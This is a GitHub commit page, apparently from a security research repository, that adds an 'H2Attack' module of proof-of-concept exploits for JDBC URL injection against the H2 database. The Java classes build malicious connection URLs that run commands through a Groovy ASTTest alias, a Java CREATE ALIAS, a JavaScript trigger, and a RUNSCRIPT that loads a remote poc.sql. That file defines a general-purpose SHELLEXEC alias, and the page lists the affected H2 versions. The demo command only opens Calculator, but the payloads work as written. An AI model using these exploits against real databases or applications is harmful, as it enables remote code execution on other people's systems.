Skip to content

Commit fe3e64c

Browse files
WhoopsunixWhoopsunix
committed
add JDBC Attack h2 :)
1 parent 44c2310 commit fe3e64c

14 files changed

Lines changed: 279 additions & 59 deletions

File tree

‎JDBCAttack/H2Attack/pom.xml‎

Lines changed: 63 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,63 @@
1+
<?xml version="1.0" encoding="UTF-8"?>
2+
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
3+
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
4+
<modelVersion>4.0.0</modelVersion>
5+
<parent>
6+
<groupId>org.springframework.boot</groupId>
7+
<artifactId>spring-boot-starter-parent</artifactId>
8+
<version>2.7.15</version>
9+
<relativePath/> <!-- lookup parent from repository -->
10+
</parent>
11+
<groupId>com.example</groupId>
12+
<artifactId>H2Attack</artifactId>
13+
<version>0.0.1-SNAPSHOT</version>
14+
<name>H2Attack</name>
15+
<description>H2Attack</description>
16+
<properties>
17+
<java.version>1.8</java.version>
18+
</properties>
19+
<dependencies>
20+
<dependency>
21+
<groupId>org.springframework.boot</groupId>
22+
<artifactId>spring-boot-starter</artifactId>
23+
</dependency>
24+
25+
<dependency>
26+
<groupId>org.springframework.boot</groupId>
27+
<artifactId>spring-boot-starter-web</artifactId>
28+
</dependency>
29+
30+
<dependency>
31+
<groupId>org.springframework.boot</groupId>
32+
<artifactId>spring-boot-starter-test</artifactId>
33+
<scope>test</scope>
34+
</dependency>
35+
36+
<dependency>
37+
<groupId>com.h2database</groupId>
38+
<artifactId>h2</artifactId>
39+
<version>1.4.197</version>
40+
<!-- <version>1.4.200</version>-->
41+
<!-- <version>1.2.129</version>-->
42+
<!-- <version>2.0.202</version>-->
43+
</dependency>
44+
45+
<!-- https://mvnrepository.com/artifact/org.codehaus.groovy/groovy-sql -->
46+
<dependency>
47+
<groupId>org.codehaus.groovy</groupId>
48+
<artifactId>groovy-sql</artifactId>
49+
<!-- <version>3.0.19</version>-->
50+
<version>2.0.0-rc-1</version>
51+
</dependency>
52+
</dependencies>
53+
54+
<build>
55+
<plugins>
56+
<plugin>
57+
<groupId>org.springframework.boot</groupId>
58+
<artifactId>spring-boot-maven-plugin</artifactId>
59+
</plugin>
60+
</plugins>
61+
</build>
62+
63+
</project>

‎JDBCAttack/H2Attack/src/main/java/com/example/h2attack/Groovy.java‎

Lines changed: 25 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,25 @@
1+
package com.example.h2attack;
2+
3+
import java.sql.Connection;
4+
import java.sql.DriverManager;
5+
6+
/**
7+
* Groovy
8+
*
9+
* version
10+
* com.h2database:h2
11+
* [1.3.x, 1.4.x, 2.0.x, 2.1.x, 2.2.x]
12+
* [1.2.130, 1.2.147]
13+
* org.codehaus.groovy:groovy-sql
14+
* ALL [3.0.x, 2.6.x, 2.5.x, 2.4.x, 2.3.x, 2.2.x, 2.1.x, 2.0.x]
15+
*
16+
* @author Whoopsunix
17+
*/
18+
public class Groovy {
19+
public static void main(String[] args) throws Exception {
20+
// Class.forName("org.h2.Driver");
21+
22+
String attackUrl = "jdbc:h2:mem:test;TRACE_LEVEL_SYSTEM_OUT=3;init=CREATE ALIAS T5 AS '@groovy.transform.ASTTest(value={ assert java.lang.Runtime.getRuntime().exec(\"open -a Calculator\")})def x'";
23+
Connection connection = DriverManager.getConnection(attackUrl);
24+
}
25+
}

‎JDBCAttack/H2Attack/src/main/java/com/example/h2attack/H2AttackApplication.java‎

Lines changed: 13 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,13 @@
1+
package com.example.h2attack;
2+
3+
import org.springframework.boot.SpringApplication;
4+
import org.springframework.boot.autoconfigure.SpringBootApplication;
5+
6+
@SpringBootApplication
7+
public class H2AttackApplication {
8+
9+
public static void main(String[] args) {
10+
SpringApplication.run(H2AttackApplication.class, args);
11+
}
12+
13+
}

‎JDBCAttack/H2Attack/src/main/java/com/example/h2attack/Offline.java‎

Lines changed: 23 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
package com.example.h2attack;
2+
3+
import java.sql.Connection;
4+
import java.sql.DriverManager;
5+
6+
/**
7+
* 将引号转义就可以不用 RUNSCRIPT
8+
*
9+
* version
10+
* com.h2database:h2
11+
* [1.3.x, 1.4.x, 2.0.x, 2.1.x, 2.2.x]
12+
* [1.2.130, 1.2.147]
13+
*
14+
* @author Whoopsunix
15+
*/
16+
public class Offline {
17+
public static void main(String[] args) throws Exception {
18+
// Class.forName("org.h2.Driver");
19+
20+
String attackUrl = "jdbc:h2:mem:test;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS if not exists EXEC AS 'void exec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd)\\;}'\\;CALL EXEC ('open -a calculator.app')\\;";
21+
Connection connection = DriverManager.getConnection(attackUrl);
22+
}
23+
}

‎JDBCAttack/H2Attack/src/main/java/com/example/h2attack/RunScript.java‎

Lines changed: 23 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
package com.example.h2attack;
2+
3+
import java.sql.Connection;
4+
import java.sql.DriverManager;
5+
6+
/**
7+
* RUNSCRIPT 远程加载 sql 文件
8+
*
9+
* version
10+
* com.h2database:h2
11+
* [1.3.x, 1.4.x, 2.0.x, 2.1.x, 2.2.x]
12+
* [1.2.130, 1.2.147]
13+
*
14+
* @author Whoopsunix
15+
*/
16+
public class RunScript {
17+
public static void main(String[] args) throws Exception {
18+
// Class.forName("org.h2.Driver");
19+
20+
String attackUrl = "jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:1234/poc.sql'";
21+
Connection connection = DriverManager.getConnection(attackUrl);
22+
}
23+
}

‎JDBCAttack/H2Attack/src/main/java/com/example/h2attack/TriggerJS.java‎

Lines changed: 22 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,22 @@
1+
package com.example.h2attack;
2+
3+
import java.sql.Connection;
4+
import java.sql.DriverManager;
5+
6+
/**
7+
* Trigger 编译执行 Javascript
8+
*
9+
* version
10+
* com.h2database:h2
11+
* [1.4.197, 1.4.200]
12+
*
13+
* @author Whoopsunix
14+
*/
15+
public class TriggerJS {
16+
public static void main(String[] args) throws Exception {
17+
// Class.forName("org.h2.Driver");
18+
19+
String attackUrl = "jdbc:h2:mem:test;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE TRIGGER hhhh BEFORE SELECT ON INFORMATION_SCHEMA.CATALOGS AS '//javascript\njava.lang.Runtime.getRuntime().exec(\"open -a Calculator.app\")'";
20+
Connection connection = DriverManager.getConnection(attackUrl);
21+
}
22+
}

‎JDBCAttack/H2Attack/src/main/resources/application.yml‎

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
spring:
2+
h2:
3+
console:
4+
enabled: true
5+
settings:
6+
web-allow-others: true

‎JDBCAttack/H2Attack/src/main/resources/poc.sql‎

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
CREATE
2+
ALIAS if not exists SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
3+
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A");
4+
return s.hasNext() ? s.next() : "";
5+
}
6+
$$;
7+
CALL SHELLEXEC('open -a Calculator.app')

‎JDBCAttack/MysqlAttack/pom.xml‎

Lines changed: 50 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,50 @@
1+
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
2+
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
3+
<modelVersion>4.0.0</modelVersion>
4+
5+
<groupId>org.example</groupId>
6+
<artifactId>MysqlAttack</artifactId>
7+
<version>1.0-SNAPSHOT</version>
8+
<packaging>jar</packaging>
9+
10+
<name>MysqlAttack</name>
11+
12+
<properties>
13+
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
14+
</properties>
15+
16+
<dependencies>
17+
<dependency>
18+
<groupId>mysql</groupId>
19+
<artifactId>mysql-connector-java</artifactId>
20+
<!-- <version>3.1.11</version>-->
21+
<!-- <version>5.1.29</version>-->
22+
<!-- <version>6.0.6</version>-->
23+
<version>8.0.19</version>
24+
</dependency>
25+
26+
<dependency>
27+
<groupId>commons-collections</groupId>
28+
<artifactId>commons-collections</artifactId>
29+
<version>3.2.1</version>
30+
</dependency>
31+
</dependencies>
32+
33+
<build>
34+
<plugins>
35+
<plugin>
36+
<groupId>org.springframework.boot</groupId>
37+
<artifactId>spring-boot-maven-plugin</artifactId>
38+
</plugin>
39+
<plugin>
40+
<groupId>org.apache.maven.plugins</groupId>
41+
<artifactId>maven-compiler-plugin</artifactId>
42+
<version>3.8.1</version>
43+
<configuration>
44+
<source>1.8</source>
45+
<target>1.8</target>
46+
</configuration>
47+
</plugin>
48+
</plugins>
49+
</build>
50+
</project>

JDBCAttack/src/main/java/org/example/mysql/FileAttack.java renamed to JDBCAttack/MysqlAttack/src/main/java/org/example/FileAttack.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
package org.example.mysql;
1+
package org.example;
22

33
import java.sql.Connection;
44
import java.sql.DriverManager;

0 commit comments

Comments
 (0)